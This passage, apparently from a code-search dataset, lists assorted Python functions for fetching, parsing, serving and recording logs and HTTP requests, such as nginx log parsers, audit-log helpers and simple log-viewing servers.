\" + os.name)\n logging.info(\"API Path = \" + api_path)\n logging.info(\"UserID = \" + getpass.getuser())\n logging.info(\"Log Level = \" + logging.getLevelName(log_level)) \n logging.info(\"Current Path = \" + os.path.abspath(os.getcwd())) \n logging.info(\"Log Path = \" + self.log_path)\n\n # Instantiate the Tcl interpreter.\n self.tcl = Tcl()\n\n self.tcl.eval(\"lappend ::auto_path {\" + api_path + \"}\")\n\n logging.info(\"Tcl Version = \" + self.tcl.eval(\"info patchlevel\"))\n logging.info(\"Tcl ::auto_path = \" + self.tcl.eval('set ::auto_path'))\n logging.info(\"Loading the Spirent TestCenter Conformance Application in the Tcl interpreter...\")\n self.Exec(\"package require SpirentTestCenterConformance\")\n\n return","def get_log(*args, **kwargs):\n return get_log_async(*args, **kwargs).get_result()","def test_download_build_log_file(self, mock_serve, mock_test, mock_os):\n from mod_test.controllers import (TestNotFoundException,\n download_build_log_file)\n\n response = download_build_log_file('1')\n\n self.assertEqual(response, mock_serve())\n mock_test.query.filter.assert_called_once()\n mock_os.path.isfile.assert_called_once()","def do_GET(s):\n page = GeneratePageFromLog(LOG_FILENAME)\n\n s.send_response(200)\n s.send_header(\"Content-type\", \"text/html\")\n s.end_headers()\n s.wfile.write(page)","def ocsaudit_rest_log_command(method, url, url_args, username):\n \n try:\n if method == \"GET\":\n type = cmd_type.type_get\n elif method == \"POST\":\n type = cmd_type.type_post\n elif method == \"PATCH\":\n type = cmd_type.type_patch\n elif method == \"DELETE\":\n type = cmd_type.type_delete\n else:\n type = cmd_type.type_unknown\n print \"Unidentified command type {0}\".format(method)\n \n url = url.split(\"/v1/\",1)[1]\n args = \" \".join(url_args)\n \n ocsaudit_log_command(username, type, cmd_interface.interface_rest, \n url, args)\n except Exception as e:\n print \"ocsaudit_rest_log_command Exception {0}\".format(e)","def getLog(request):\n # TODO: GET\n data = {}\n return data","def getLog(self):\n \n return self.resp[\"log\"]","def dumpHTTP(self, req, resp, content):\n fmt = '[%s] %s %s %s| %s %s\\n'\n dt_now = datetime.datetime.now()\n str_now = dt_now.strftime('%Y-%m-%d %H:%M:%S')\n\n #\n url = req['URL']\n method = req['method']\n body = req['request-body']\n post_data = ''\n if body and isinstance(body, StringType) and len(body):\n post_data = body\n pass\n #print(type(resp))\n if resp and isinstance(resp, DictionaryType) and len(resp):\n resp = 'response_status : %s' % (resp.get('status', 'None'))\n content = ''\n pass\n\n ss = fmt % (str_now, method, url, post_data, resp, content)\n print(ss)\n #\n\n\n logfile1 = os.path.join(os.getenv('G_LOG', '/root/automation/logs'), 'current/post_file_requests.log')\n logfile2 = os.path.join(\n os.getenv('U_DEBUG_HTTP_PLAY', os.getenv('G_CUREENTLOG', '/root/automation/logs/current')),\n 'post_file_requests.log')\n\n logfiles = []\n logfiles.append(logfile1)\n if logfile1 != logfile2:\n logfiles.append(logfile2)\n pass\n\n for logfile in logfiles:\n try:\n fd = open(logfile, 'a+')\n if fd:\n fd.write(ss)\n fd.close()\n pass\n pass\n except Exception, e:\n print('write debug log file(%s) failed : %s' % (logfile, e))\n pass\n pass\n\n pass","def upload_logs():\n return {\n 'page': 'upload_logs',\n 'raw_logs': '',\n }","def ngx_log_to_requestinfo(log=None):\n # pat is defined due to default nginx access.log format\n pat = (r''\n '(\\d+.\\d+.\\d+.\\d+)\\s-\\s-\\s'\n '\\[(.+)\\]\\s'\n '\"GET\\s(.+)\\s\\w+/.+\"\\s'\n '(\\d+)\\s'\n '(\\d+)\\s'\n '\"(.+)\"\\s'\n '\"(.+)\"'\n )\n if log:\n request_info = re.findall(pat, log)[0]\n if request_info:\n request_info = RequestInfo(request_info[0], request_info[1], request_info[2], request_info[3],\n request_info[4], request_info[5], request_info[6])\n return request_info","def _log_response(*, log_path: Path, ip_dict: Dict[str, int], response: Response) -> None:\n LOGGER.info(f\"logged request: {response.url}\")\n with log_path.open(mode=\"a\", encoding=\"utf-8\") as f:\n all_responses = [response]\n\n # Poll and wait for operations, if applicable\n is_operation_request = bool(\n re.match(re.compile(\".*/api/versioned/v1/operations/.*\"), response.url)\n )\n is_get_request = response.request.method == \"GET\"\n if is_get_request and is_operation_request:\n wait_resp = _collect_operation_calls(response=response)\n all_responses.extend(wait_resp)\n\n all_json = [_response_to_json(r, ip_dict) for r in all_responses]\n f.writelines([f\"{j}\\n\" for j in all_json])","def log_info(request, piece_id):\n\n asset = AssetMap.objects.get(piece=piece_id)\n url = '/'.join([FTP_URL, asset.folder, asset.name+'.log',])\n context = {\n 'keyform': KeySearchForm(auto_id=False),\n 'piece' : Piece.objects.get(pk=piece_id),\n 'logfile': requests.get(url),\n }\n return render(request, 'mutopia/piece_log.html', context)","def do_GET(self):\n try:\n \n # parse the requested page and see if it's valid\n parse_status, explanation_str = self.parse_header(self.path)\n \n # parse_status:\n # -1: error\n # 0: /log/* request\n # 1: /detailed/node/timestamp request\n print str(self.parse_header(self.path))\n \n explanation_str = str(explanation_str)\n \n # error\n if parse_status == -1:\n # invalid header, close the connection and die but notify user\n self.send_response(200)\n self.send_header('Content-type',\t'text/html')\n self.end_headers()\n self.wfile.write('Invalid request ('+explanation_str+')')\n print '-1'\n return\n \n # 1: /detailed/node/timestamp request\n elif parse_status == 1:\n print '1'\n # just need to respond with the file that's contained in explanation_str\n # and once we verify that it exists, we're golden\n \n # path to the \"detailed\" file\n file_path = explanation_str\n \n if os.path.isfile(file_path):\n try:\n # TODO: make HTML here to nav around previous node things\n detailed_file_handle = open(file_path, 'r')\n self.send_response(200)\n self.send_header('Content-type',\t'text/plain')\n self.end_headers() \n self.wfile.write(detailed_file_handle.read())\n detailed_file_handle.close()\n return\n except Exception, e:\n print 'Error while sending detailed log file'\n print e\n return\n else:\n self.send_response(200)\n self.send_header('Content-type',\t'text/html')\n self.end_headers()\n self.wfile.write('Invalid file request')\n return\n \n # 0: /log/* request\n elif parse_status == 0:\n print '0'\n # request was successfull, we just want the filename from index\n log_index = explanation_str\n \n success_status, log_filename = self.get_filename_from_index(log_index)\n \n if success_status == -1:\n # some kind of error of which the description is stored in log_filename\n #sockobj.send('The server encountered an error opening the file, please'+\\\n # ' try your request again')\n self.send_response(200)\n self.send_header('Content-type',\t'text/html')\n self.end_headers() \n self.wfile.write('The server encountered an error opening the file, please'+\\\n ' try your request again')\n return\n \n # the file exists!\n # just dump the file at this point, and then...\n \n # send the HTML file\n self.send_response(200)\n self.send_header('Content-type',\t'text/html')\n self.end_headers()\n self.send_html_file(log_filename, log_index)\n return\n\n # invalid type\n else:\n self.send_response(200)\n self.send_header('Content-type',\t'text/html')\n self.end_headers()\n self.wfile.write('Invalid request type 2')\n return\n \n except IOError:\n self.send_error(404,'File Not Found: %s' % self.path)\n \n return","def _log_request(self):\n log = self.server.log\n if log:\n if hasattr(log, \"info\"):\n log.info(self.format_request() + '\\n')\n else:\n log.write(self.format_request() + '\\n')","def load_log_from_path():\n if Configuration.enable_load_local_path:\n try:\n # reads the session\n session = request.args.get('session', type=str)\n\n if check_session_validity(session):\n user = get_user_from_session(session)\n\n # reads the log_name entry from the request JSON\n log_name = request.json[\"log_name\"]\n # reads the log_path entry from the request JSON\n log_path = request.json[\"log_path\"]\n parameters = request.json[\"parameters\"] if \"parameters\" in request.json else None\n print(\"log_name = \", log_name, \"log_path = \", log_path)\n lh.load_log_static(log_name, log_path, parameters=parameters)\n return \"OK\"\n except:\n traceback.print_exc()\n return \"FAIL\"\n return \"FAIL\"","def getNodeSyslog(self,node):\n data = self.connect('get','nodes/%s/syslog' % (node),None)\n return data","def logs(app_or_svc, host, uniq, service):\n try:\n app, uniq, logtype, logname = app_or_svc.split('/', 3)\n except ValueError:\n app, uniq, logtype, logname = app_or_svc, uniq, 'service', service\n\n if any(param is None for param in [app, uniq, logtype, logname]):\n cli.bad_exit('Incomplete parameter list')\n\n _host, port = _nodeinfo_endpoint(host)\n\n api = 'http://{0}:{1}'.format(host, port)\n logurl = '/local-app/%s/%s/%s/%s' % (\n urllib_parse.quote(app),\n urllib_parse.quote(uniq),\n logtype,\n urllib_parse.quote(logname)\n )\n\n log = restclient.get(api, logurl)\n click.echo(log.text)","def system_log_separation(log_type, log):\n satellite_log = []\n if log_type == \"satellite-log\":\n satellite_log = re.split(r\"(\\[DEBUG \\d*-\\d*-\\d*\\w\\d*:\\d*:\\d* \\w*\\])\", log)\n elif (log_type == \"messages\") or (log_type == \"candelpin-log\"):\n satellite_log = re.split(r\"(\\w{1,3} \\d{1,2} \\d{1,2}:\\d{1,2}:\\d{1,2})\", log)\n if satellite_log:\n satellite_log.pop(0)\n log = Common.combining_alternate_element(satellite_log)\n return log","def parse_header(self, header):\n # \n \n # this is what the line'll look like:\n # e.g.: /logs/1\n # e.g.: /detailed/host/timestamp\n\n # get index of first slash\n first_slash = header.index('/')\n \n \n # splice the string now and remove any spaces\n requested_folder = header.strip('/')\n \n # check if it's just a slash\n if not requested_folder:\n # return a 0 meaning we want the latest log file\n return (0, 0)\n else:\n # check that it's a valid request\n detailed_request = requested_folder.split('/')\n # detailed_request should be of form /log/* where * is a number\n # two types of requests:\n # type 1: /log/* where * is a number\n # type 2: /detailed/node_name/timestamp\n # node_name: node name\n # timetamp is the timestamp of the run\n \n \n if len(detailed_request) == 2:\n # type 1 request\n # first entry is '' since there's a leading '/'\n if detailed_request[0] == 'log':\n # now get a valid number for a folder request\n try:\n log_number = int(detailed_request[1])\n except Exception, e:\n print \"Error obtaining log (request: \"+requested_folder+\")\"\n return (-1, str(e))\n else:\n return (0, log_number)\n else:\n return (-1, 'Invalid request (len 2)')\n elif len(detailed_request) == 3:\n # type 2 request\n if detailed_request[0] == 'detailed':\n nodename = detailed_request[1]\n timestamp = detailed_request[2]\n # verify that timestamp is a valid #\n try:\n timestamp_int = int(timestamp)\n except ValueError, ve:\n print 'Invalid timestamp requested, '+timestamp\n print ve\n return (-1, 'Invalid timestamp')\n else:\n # return the filepath as our response\n return (1, './detailed_logs/'+nodename+'/'+timestamp)\n \n \n else:\n return (-1, 'Invalid request (len 3)')\n \n else:\n # invalid!\n return (-1, 'Invalid detailed log request ('+str(detailed_request)+')')","async def fetch_logs(self) -> bytes:\n host = \"127.0.0.1\"\n port = 42000\n dt = datetime.now(pytz.timezone(\"Europe/Amsterdam\"))\n request = {\"id\": 1, \"method\": \"getstat\"}\n\n point = TCP4ClientEndpoint(reactor, host, port)\n try:\n connected_p = await connectProtocol(\n point, EWBFProtocol()) # type: EWBFProtocol\n response = await connected_p.make_request(request)\n except Exception as e:\n print(\"couldn't connect. {}\".format(e))\n return b\"\"\n else:\n rl = []\n t = 0 # type: int\n power = speed = accept = reject = 0\n for idx, data in enumerate(response['result']):\n rl.append(\"GPU{0}_SPEED: {1} H/s\".format(\n idx, data['speed_sps']))\n rl.append(\"GPU{0}_POWER: {1}\".format(\n idx, data['gpu_power_usage']))\n t = data['start_time']\n power += data['gpu_power_usage']\n speed += data['speed_sps']\n accept += data['accepted_shares']\n reject += data['rejected_shares']\n\n rl.append(\"Power: {0}\".format(power))\n rl.append(\"Total speed: {0} Sol/s\".format(speed))\n rl.append(\"Accepted share: {0}\".format(accept))\n rl.append(\"Rejected share: {0}\".format(reject))\n rl.append(\"Total GPUs: {0}\".format(len(response['result'])))\n rl.append(\"START_TIME: {0}\".format(int(t)))\n rl.append(\"CURRENT_TIME: {0}\".format(int(dt.timestamp())))\n rl.append(\"UPTIME: {0}\".format(int(dt.timestamp() - t)))\n return \";\".join(rl).encode('utf-8') + b\";\"","def LogData(\n serverName: str, pubIp: str, apiName: str, result,\n request: dict):\n log_id = str(uuid.uuid4())\n dateTime = str(datetime.today())\n if \"Image\" in request:\n request['Image'] = str(request['Image'])\n if \"File\" in request:\n request['File'] = str(request['File'])\n\n paramData = json.dumps(request)\n errorInfo = sys.exc_info()\n errorMessage = \"\"\n if errorInfo[2] is not None:\n errorMessage = f'Error at lineNumber: {str(errorInfo[2].tb_lineno)} {str(errorInfo[0])} {str(errorInfo[1])}'\n info = {\n \"log_Id\": log_id, \"ServerName\": serverName, \"DateTime\": dateTime,\n \"PublicIP\": pubIp, \"APIName\": apiName,\n \"Result\": errorMessage + str(result), \"ParameterData\": str(paramData)\n\n }\n logger = logging.getLogger(__name__)\n logger.info(f'{info}')\n return log_id","def export_log(self):\r\n if self.log[\"datetime\"] is not None and not self.log[\"datetime\"] == \"\":\r\n logs_dir = ''\r\n user = 'default'\r\n program_data = 'data\\program_data.json5'\r\n with open(program_data) as f:\r\n config = json.load(f)\r\n logs_dir = config.get(\"logs_records_path\", \"\")\r\n user = config.get(\"user\", \"default\")\r\n file_name = user+\" \"+self.log[\"datetime\"].replace(\"/\", \"\")\r\n file_name = file_name.replace(\" \", \"_\")\r\n file_name = file_name.replace(\":\", \"\")\r\n cwd = os.getcwd()\r\n if not logs_dir == \"\" and os.path.exists(logs_dir):\r\n if not user in os.listdir(logs_dir):\r\n os.makedirs(os.path.join(logs_dir, user))\r\n logs_dir = os.path.join(logs_dir, user)\r\n file_name = os.path.join(logs_dir, file_name)\r\n self.save_records(file_name)\r\n elif \"logs\" in os.listdir(cwd):\r\n folder = os.path.join(cwd, \"logs\")\r\n file_name = os.path.join(folder, file_name)\r\n self.save_records(file_name)\r\n self.reset_values()","def get_log_summary():\n # reads the session\n session = request.args.get('session', type=str)\n # reads the requested process name\n process = request.args.get('process', default='receipt', type=str)\n\n dictio = {}\n\n if check_session_validity(session):\n user = get_user_from_session(session)\n if lh.check_user_log_visibility(user, process):\n this_variants_number = lh.get_handler_for_process_and_session(process, session).variants_number\n this_cases_number = lh.get_handler_for_process_and_session(process, session).cases_number\n this_events_number = lh.get_handler_for_process_and_session(process, session).events_number\n\n ancestor_variants_number = lh.get_handler_for_process_and_session(process,\n session).first_ancestor.variants_number\n ancestor_cases_number = lh.get_handler_for_process_and_session(process, session).first_ancestor.cases_number\n ancestor_events_number = lh.get_handler_for_process_and_session(process,\n session).first_ancestor.events_number\n\n dictio = {\"this_variants_number\": this_variants_number, \"this_cases_number\": this_cases_number,\n \"this_events_number\": this_events_number, \"ancestor_variants_number\": ancestor_variants_number,\n \"ancestor_cases_number\": ancestor_cases_number, \"ancestor_events_number\": ancestor_events_number}\n print(dictio)\n\n ret = jsonify(dictio)\n return ret","def return_log(logname, n=0):\n logger.debug(f'Reading Log {logname}')\n if os.path.exists(f'logs/{logname}.log'):\n with open(f'logs/{logname}.log','r') as fo:\n log_info = fo.readlines()[-n:]\n elif logname == 'journalctl':\n if n == 0: n = 1000\n os.system(f'journalctl -u smartalarm -n {n} > logs/jctl.log')\n with open(f'logs/jctl.log','r') as fo:\n log_info = fo.readlines()\n else:\n flash(f'No Log Named {logname}')\n log_info = ''\n cleaned_log_info = []\n for line in log_info:\n if not line.startswith('['):\n line = ' ' + line\n cleaned_log_info.append(line + '<br>')\n return render_template('viewlog/view-log.html', log=''.join(cleaned_log_info))","def download(self, output):\n self.wait()\n path = 'auditlogEntryReport/download'\n with open(output, 'w') as f:\n f.write(self._session.get(path))\n LOGGER.info('log downloaded: {}'.format(output))","def start_btslog(btslog_dir, log_type):\r\n \r\n log_type = log_type.upper()\r\n if \"BTSlog2\" in btslog_dir:\r\n if log_type == 'UDP':\r\n argument = 'start_udplog'\r\n elif log_type == 'TRACING':\r\n argument = 'start_tracing'\r\n elif log_type == 'BOTH':\r\n argument = 'start_both'\r\n else:\r\n raise Exception, \"log_type '%s' is not supported\" % log_type\r\n start_program_with_psexec('\\\"%s\\\" -nogui -%s' % (btslog_dir, argument))\r\n\r\n else:\r\n if log_type == 'UDP':\r\n argument = 'start_udplog'\r\n elif log_type == 'TRACING':\r\n argument = 'start_bssigrec'\r\n elif log_type == 'BOTH':\r\n argument = 'start_both'\r\n else:\r\n raise Exception, \"log_type '%s' is not supported\" % log_type\r\n ret = connections.execute_shell_command_without_check('\\\"%s\\\" %s' % (btslog_dir, argument))\r\n if ret.find('is not recognized') > 0: # probably given path is not avaialbe\r\n raise Exception, 'start %s log failed' % log_type","def extract_log_info(request, response=None):\n\n log_data = {\n 'remote_address': request.META.get('REMOTE_ADDR'),\n 'request_method': request.method,\n 'request_path': request.get_full_path(),\n 'run_time': time.time() - request.start_time,\n 'request_body': str(request.body, 'utf-8'),\n 'response_body': response.content\n }\n return log_data","def getNodeTaskLogByUPID(self,node,upid):\n data = self.connect('get','nodes/%s/tasks/%s/log' % (node,upid),None)\n return data","def test_nodelog_apiserver(self):\n nodelog_url = self.BUILD_DIR + 'nodelog?pod=abc&junit=junit_01.xml'\n init_build(self.BUILD_DIR)\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/junit_01.xml', JUNIT_SUITE)\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/kube-apiserver.log',\n 'apiserver pod abc\\n')\n response = app.get('/build' + nodelog_url)\n self.assertIn(\"Wrap line\", response)","def log_type(self) -> Optional[pulumi.Input['AuditLogConfigLogType']]:\n return pulumi.get(self, \"log_type\")","def getLog(self):\n return self.session.request('diag/log/')","def load_logs(workdir='.', logtype='log', logbase='log*log', geobase='geo*log'):\n workdir = os.path.abspath(workdir)\n if logtype == 'log':\n globbase = os.path.join(workdir, logbase)\n loader = bats.BatsLog\n elif logtype == 'geo':\n globbase = os.path.join(workdir, geobase)\n loader = bats.GeoIndexFile\n else:\n raise ValueError('load_logs: logtype must be either \"log\" or \"geo\", not {}'.format(logtype))\n fns = sorted(glob.glob(globbase))\n if not fns:\n raise IOError('No log files found with selected search term ({})'.format(globbase))\n all_logs = [loader(fn) for fn in fns]\n log = all_logs[0]\n if len(all_logs)>1:\n for nlg in all_logs[1:]:\n log = merge_logfiles(log, nlg)\n return log","def redire_spark_logs(bigdl_type=\"float\", log_path=os.getcwd() + \"/bigdl.log\"):\n callBigDlFunc(bigdl_type, \"redirectSparkLogs\", log_path)","def download(progid, date):\n logger = log.getLogger('obslog.download')\n\n if not re.match(r'^G[NS]-[0-9]{4}[AB]-([CQ]|DD|FT|LP|SV)-[0-9]{0,3}$', progid):\n logger.error('This does not look like a program ID: %s', progid)\n raise SystemExit\n\n obslog = date + '_' + progid + '_obslog.txt'\n url = 'https://archive.gemini.edu/file/' + obslog\n logger.debug('URL: %s', url)\n logger.info('Downloading %s...', obslog)\n urllib.urlretrieve(url, obslog)\n return","def call_SLV_getDevicesLogValues(url: str, authentication: tuple, format: str, deviceId: Union[int, list],\n name: Union[str, list], from_date: str, to_date: str,\n write_file_to: str = \"\") -> Union[Tuple[requests.request, str], requests.request]:\n api_method = 'getDevicesLogValues' # function which gets called on SLV server\n api_part = '/api/logging/' # where the function is on SLV server\n # setting up parameters\n param = MultiDict([('ser', format), ('from', from_date), ('to', to_date)])\n param = add_to_parameters('deviceId', deviceId, param)\n param = add_to_parameters('name', name, param, 1)\n # checking format input\n if not (\n format == 'json' or format == 'xml'): # if format argument does not match expected input raises an error\n raise ValueError(\n \"wrong input parameters for APIFinal.call_SLV_getAllControllers function : format must be either 'xml' or 'json' \\n\")\n print('calling ' + api_method + '...')\n r = requests.post(url + api_part + api_method, data=param,\n auth=authentication) # post the request because there are several sub calls\n if write_file_to != \"\": # if asked, writes file\n if type(deviceId) is list and type(name) is list:\n file_name = api_method # the output file name if write_file is true and deviceId is a list\n elif type(name) is list:\n file_name = api_method + \"_\" + param[\n 'deviceId'] # the output file name if write_file is true and name is a list\n elif type(deviceId) is list:\n file_name = api_method + \"_\" + param[\n 'name'] # the output file name if write_file is true and deviceId and name are lists\n else:\n file_name = api_method + \"_\" + param['deviceId'] + \"_\" + param[\n 'name'] # the output file name if write_file is true\n file_name = file_name + \"_\" + param['from'] + \"_\" + param['to']\n write_request(r, param, file_name)\n return r, file_name\n return r","def get_action_logfile():\n return \"action\" + get_day() + \".log\"","def get_resource(self, resource_name, **kwargs):\n if resource_name == 'log':\n # TODO(micucci) Use an SSH accessor here if this app is\n # on a remote host\n self.LOG.debug(\"Fetching log from: \" +\n self.log_dir + \"/midolman.log\")\n floc = FileLocation(self.log_dir + '/midolman.log')\n return floc.fetch_file()\n elif resource_name == 'fwaas_log':\n if 'uuid' not in kwargs:\n # This path not currently used or tested.\n # Get ALL firewall logs as a dict of filename -> contents\n loggers = {}\n txt_logs = LinuxCLI().ls(self.log_dir + '/firewall-*.log')\n if txt_logs:\n # Old text log format.\n for log in txt_logs:\n floc = FileLocation(log)\n self.LOG.debug(\n \"Fetching fwaas legacy text log from: \" + log)\n uuid = self.fwaas_txtlog_filename_rex.match(\n log).groups()[0]\n self.LOG.debug(\"Logger UUID: \" + uuid)\n loggers[uuid] = self.parse_fwaas_txt_log(\n floc.fetch_file())\n return loggers\n else:\n # New binary log format.\n return self.read_fwaas_bin_log()\n else:\n uuid = str(kwargs['uuid'])\n txt_log = self.log_dir + '/firewall-' + uuid + '.log'\n if path.isfile(txt_log):\n # Old text log format\n self.LOG.debug(\"Fetching fwaas legacy text log from: \" +\n txt_log)\n floc = FileLocation(txt_log)\n return self.parse_fwaas_txt_log(floc.fetch_file())\n else:\n loggers = self.read_fwaas_bin_log()\n if uuid in loggers:\n return loggers[uuid]\n else:\n self.LOG.debug(\n \"Found no log entries for UUID: \" + uuid)\n return []\n return None","def log(msg):\n\tfrom http_request import req\n\tif not req: return\n\t\t\n\tif not req.out.get('_log'):\n\t\treq.out['_log'] = []\n\treq.out['_log'].append(msg)","def log(self):\n\n\t\theader_dict = dict(request.headers)\n\n\t\ttry:\n\t\t\ttracker_id = header_dict[\"tracker_id\"]\n\t\texcept Exception:\n\t\t\ttracker_id = None\n\t\t\n\t\ttry:\n\t\t\tuser_agent = header_dict[\"User-Agent\"]\n\t\texcept Exception:\n\t\t\tuser_agent = None\n\n\t\ttry:\n\t\t\tlanguage = header_dict[\"Accept-Language\"]\n\t\texcept Exception:\n\t\t\tlanguage = None\n\n\t\ttry:\n\t\t\treferer = header_dict[\"Referer\"]\n\t\texcept Exception:\n\t\t\treferer = None\n\n\t\ttry:\n\t\t\torigin = header_dict[\"Origin\"]\n\t\texcept Exception:\n\t\t\torigin = None\n\n\t\ttry:\n\t\t\tjson_data = request.json\n\t\texcept Exception:\n\t\t\tjson_data = None\n\n\t\ttry:\n\t\t\tplatform = request.user_agent.platform.title()\n\t\texcept Exception:\n\t\t\tplatform = None\n\n\t\ttry:\n\t\t\tbrowser = request.user_agent.browser.title()\n\t\texcept Exception:\n\t\t\tbrowser = None\n\n\t\ttry:\n\t\t\tauth_header_token = header_dict[\"Authorization\"].split(\" \")[1]\n\t\texcept Exception:\n\t\t\tauth_header_token = None\n\t\t\n\t\t## If set to run before a request: This is the default setting\n\t\tif self.pre_request:\n\t\t\t@self.app.before_request()\n\t\t\tdef run():\n\t\t\t\t## If the path accessed is in the do_not_log list, it is skipped\n\t\t\t\tif request.path in self.do_not_log:\n\t\t\t\t\treturn\n\t\t\t\t## If the path accessed is not in the do_not_log list, it is posted\n\t\t\t\telse:\n\t\t\t\t\tpost_data = {\n\t\t\t\t\t\t\"error\": None,\n\t\t\t\t\t\t\"stack_trace\": None,\n\t\t\t\t\t\t\"method\": request.method,\n\t\t\t\t\t\t\"source_ip\": request.remote_addr,\n\t\t\t\t\t\t\"url\": request.url,\n\t\t\t\t\t\t\"status_code\": 200, ## Assumed to be 200 due to the nature of the function\n\t\t\t\t\t\t\"headers\": str(header_dict),\n\t\t\t\t\t\t\"user_agent\": user_agent,\n\t\t\t\t\t\t\"language\": language,\n\t\t\t\t\t\t\"platform\": platform,\n\t\t\t\t\t\t\"browser\": browser,\n\t\t\t\t\t\t\"referer\": referer,\n\t\t\t\t\t\t\"origin\": origin,\n\t\t\t\t\t\t\"auth_header\": auth_header_token,\n\t\t\t\t\t\t\"access_time\": datetime.now().strftime(\"%A, %d %B %Y %H:%M:%S\"),\n\t\t\t\t\t\t\"logging_access_key\": self.accessKey,\n\t\t\t\t\t\t\"json\": json_data,\n\t\t\t\t\t\t\"request_params\": str(dict(request.args))\n\t\t\t\t\t}\n\n\t\t\t\t\tself.startPost(post_data)\n\n\t\t\t\t\treturn\n\n\t\t\treturn run\n\t\t\n\t\t## If set to as a wrapper to a function\n\t\telse:\n\t\t\tdef log_decorator(func):\n\n\t\t\t\t@wraps(func)\n\t\t\t\tdef execute(*args, **kwargs):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tresult = func(*args, **kwargs)\n\n\t\t\t\t\t\tresult_response = make_response(result)\n\n\t\t\t\t\t\tpost_data = {\n\t\t\t\t\t\t\t\"error\": None,\n\t\t\t\t\t\t\t\"stack_trace\": None,\n\t\t\t\t\t\t\t\"method\": request.method,\n\t\t\t\t\t\t\t\"source_ip\": request.remote_addr,\n\t\t\t\t\t\t\t\"url\": request.url,\n\t\t\t\t\t\t\t\"status_code\": result_response.status_code,\n\t\t\t\t\t\t\t\"headers\": str(header_dict),\n\t\t\t\t\t\t\t\"user_agent\": user_agent,\n\t\t\t\t\t\t\t\"language\": language,\n\t\t\t\t\t\t\t\"platform\": platform,\n\t\t\t\t\t\t\t\"browser\": browser,\n\t\t\t\t\t\t\t\"referer\": referer,\n\t\t\t\t\t\t\t\"origin\": origin,\n\t\t\t\t\t\t\t\"auth_header\": auth_header_token,\n\t\t\t\t\t\t\t\"access_time\": datetime.now().strftime(\"%A, %d %B %Y %H:%M:%S\"),\n\t\t\t\t\t\t\t\"logging_access_key\": self.accessKey,\n\t\t\t\t\t\t\t\"json\": json_data,\n\t\t\t\t\t\t\t\"request_params\": str(dict(request.args))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tself.startPost(post_data)\n\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tresult = func(*args, **kwargs)\n\t\t\t\t\t\t\n\t\t\t\t\t\ttrace = traceback.format_exc()\n\n\t\t\t\t\t\tkwargs = {\n\t\t\t\t\t\t\t\"trace\": trace,\n\t\t\t\t\t\t\t\"exception\": str(e)\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tpost_data = {\n\t\t\t\t\t\t\t\"error\": str(e),\n\t\t\t\t\t\t\t\"stack_trace\": trace,\n\t\t\t\t\t\t\t\"method\": request.method,\n\t\t\t\t\t\t\t\"source_ip\": request.remote_addr,\n\t\t\t\t\t\t\t\"url\": request.url,\n\t\t\t\t\t\t\t\"status_code\": 500,\n\t\t\t\t\t\t\t\"headers\": str(header_dict),\n\t\t\t\t\t\t\t\"user_agent\": user_agent,\n\t\t\t\t\t\t\t\"language\": language,\n\t\t\t\t\t\t\t\"platform\": platform,\n\t\t\t\t\t\t\t\"browser\": browser,\n\t\t\t\t\t\t\t\"referer\": referer,\n\t\t\t\t\t\t\t\"origin\": origin,\n\t\t\t\t\t\t\t\"auth_header\": auth_header_token,\n\t\t\t\t\t\t\t\"access_time\": datetime.now().strftime(\"%A, %d %B %Y %H:%M:%S\"),\n\t\t\t\t\t\t\t\"logging_access_key\": self.accessKey,\n\t\t\t\t\t\t\t\"json\": json_data,\n\t\t\t\t\t\t\t\"request_params\": str(dict(request.args))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tself.startPost(post_data)\n\t\t\t\t\t\n\t\t\t\t\treturn result\n\t\t\t\t\n\t\t\t\treturn execute\n\t\t\t\n\t\t\treturn log_decorator","def create_audit_log_for_request(response):\n try:\n method = flask.request.method\n endpoint = flask.request.path\n audit_data = getattr(flask.g, \"audit_data\", {})\n request_url = endpoint\n if flask.request.query_string:\n # could use `flask.request.url` but we don't want the root URL\n request_url += f\"?{flask.request.query_string.decode('utf-8')}\"\n\n if method == \"GET\" and endpoint.startswith(\"/data/download/\"):\n flask.current_app.audit_service_client.create_presigned_url_log(\n status_code=response.status_code,\n request_url=request_url,\n guid=endpoint[len(\"/data/download/\") :],\n action=\"download\",\n **audit_data,\n )\n elif method == \"GET\" and endpoint.startswith(\"/login/\"):\n request_url = _clean_authorization_request_url(request_url)\n if audit_data: # ignore login calls with no `username`/`sub`/`idp`\n flask.current_app.audit_service_client.create_login_log(\n status_code=response.status_code,\n request_url=request_url,\n **audit_data,\n )\n except Exception:\n # TODO monitor this somehow\n traceback.print_exc()\n logger.error(f\"!!! Unable to create audit log! Returning response anyway...\")\n\n return response","def test_nodelog_no_junit_apiserver(self):\n nodelog_url = self.BUILD_DIR + 'nodelog?pod=abc&junit=junit_01.xml'\n init_build(self.BUILD_DIR)\n write(self.BUILD_DIR + 'artifacts/junit_01.xml', JUNIT_SUITE)\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/docker.log',\n 'Containers\\n')\n write(self.BUILD_DIR + 'artifacts/tmp-node-2/kubelet.log',\n 'apiserver pod abc\\n')\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/kubelet.log',\n 'abc\\nEvent(api.ObjectReference{Name:\"abc\", UID:\"podabc\"})\\n')\n response = app.get('/build' + nodelog_url)\n self.assertIn(\"tmp-node-2\", response)","def dinghy_get_pod_logs(req, resp):\n resp.content = api.template(\n 'pod_logs.html'\n )","def get_upload_source_log(upload_id: int, user: auth_domain.User) -> Response:\n user_string = util.format_user_information_for_logging(user)\n logger.info(\"%s: Download source log [%s].\", upload_id, user_string)\n try:\n workspace: Workspace = database.retrieve(upload_id)\n except IOError:\n logger.error(\"%s: GetSourceLog: There was a problem connecting to\"\n \" database.\", upload_id)\n raise InternalServerError(messages.UPLOAD_DB_CONNECT_ERROR)\n\n except database.WorkspaceNotFound as nf:\n logger.info(\"%s: Workspace not found: '%s'\", upload_id, nf)\n raise NotFound(messages.UPLOAD_NOT_FOUND) from nf\n\n\n filepointer = workspace.log.open_pointer('rb')\n headers = {\n \"Content-disposition\": f\"filename={workspace.log.name}\",\n 'ETag': workspace.log.checksum,\n 'Content-Length': workspace.log.size_bytes,\n 'Last-Modified': workspace.log.last_modified,\n 'ARXIV-OWNER': workspace.owner_user_id\n 